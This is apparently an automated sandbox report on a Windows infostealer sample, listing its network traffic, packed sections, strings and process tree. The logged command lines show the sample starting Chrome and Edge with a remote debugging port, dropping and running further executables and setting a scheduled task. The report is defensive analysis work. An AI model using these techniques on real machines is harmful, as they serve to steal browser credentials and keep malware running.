Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50055 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C53B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C53B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C53B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4DF280

Source: C:\Users\user\DocumentsHCAFIJDGHC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D35A0	0_2_6C4D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54545C	0_2_6C54545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5440	0_2_6C4E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515C10	0_2_6C515C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522C10	0_2_6C522C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54AC00	0_2_6C54AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54542B	0_2_6C54542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E64C0	0_2_6C4E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD4D0	0_2_6C4FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516CF0	0_2_6C516CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DD4E0	0_2_6C4DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E6C80	0_2_6C4E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5334A0	0_2_6C5334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53C4A0	0_2_6C53C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C500512	0_2_6C500512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFD00	0_2_6C4EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FED10	0_2_6C4FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C510DD0	0_2_6C510DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5385F0	0_2_6C5385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C513E50	0_2_6C513E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F4640	0_2_6C4F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522E4E	0_2_6C522E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F9E50	0_2_6C4F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546E63	0_2_6C546E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC670	0_2_6C4DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517E10	0_2_6C517E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525600	0_2_6C525600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539E30	0_2_6C539E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5476E3	0_2_6C5476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DBEF0	0_2_6C4DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFEF0	0_2_6C4EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53E680	0_2_6C53E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5E90	0_2_6C4F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534EA0	0_2_6C534EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517710	0_2_6C517710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E9F00	0_2_6C4E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506FF0	0_2_6C506FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DDFE0	0_2_6C4DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5277A0	0_2_6C5277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F8850	0_2_6C4F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD850	0_2_6C4FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51F070	0_2_6C51F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E7810	0_2_6C4E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B820	0_2_6C51B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524820	0_2_6C524820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5450C7	0_2_6C5450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC0E0	0_2_6C4FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5158E0	0_2_6C5158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5060A0	0_2_6C5060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FA940	0_2_6C4FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B970	0_2_6C52B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B170	0_2_6C54B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED960	0_2_6C4ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515190	0_2_6C515190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532990	0_2_6C532990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D9B0	0_2_6C50D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC9A0	0_2_6C4DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519A60	0_2_6C519A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C518AC0	0_2_6C518AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51E2F0	0_2_6C51E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F1AF0	0_2_6C4F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54BA90	0_2_6C54BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542AB0	0_2_6C542AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D22A0	0_2_6C4D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C504AA0	0_2_6C504AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ECAB0	0_2_6C4ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D5340	0_2_6C4D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC370	0_2_6C4EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D320	0_2_6C51D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5453C8	0_2_6C5453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF380	0_2_6C4DF380
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_009278BB	25_2_009278BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00927049	25_2_00927049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00928860	25_2_00928860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_009231A8	25_2_009231A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_008E4DE0	25_2_008E4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00922D10	25_2_00922D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_008EE530	25_2_008EE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0092779B	25_2_0092779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00917F36	25_2_00917F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_008E4B30	25_2_008E4B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C50CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2631800369.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ojfapqbx ZLIB complexity 0.9949533620240928
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981692779291553
Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: Section: wajwbeif ZLIB complexity 0.99475678243528
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981692779291553
Source: random[1].exe.0.dr	Static PE information: Section: wajwbeif ZLIB complexity 0.99475678243528
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.9981692779291553
Source: skotes.exe.21.dr	Static PE information: Section: wajwbeif ZLIB complexity 0.99475678243528

Source: DocumentsHCAFIJDGHC.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.21.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/290@24/24

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C537030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C537030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\23SKVPZ4.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9108:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\76175aed-b864-41dc-980f-9c4c9da51466.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2356252420.000000001D27D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264973977.000000001D289000.00000004.00000020.00020000.00000000.sdmp, FHIECBAFBFHIJKFIJDAK.0.dr, FBGIDHCAAKEBAKFIIIEB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2628520200.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614395761.000000001D3BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsHCAFIJDGHC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=1992,i,11116449374999866052,6667238592882997596,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2108,i,16945765507413660770,14128624354131785041,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6732 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6940 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAFIJDGHC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCAFIJDGHC.exe "C:\Users\user\DocumentsHCAFIJDGHC.exe"
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2432 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAFIJDGHC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=1992,i,11116449374999866052,6667238592882997596,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2108,i,16945765507413660770,14128624354131785041,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
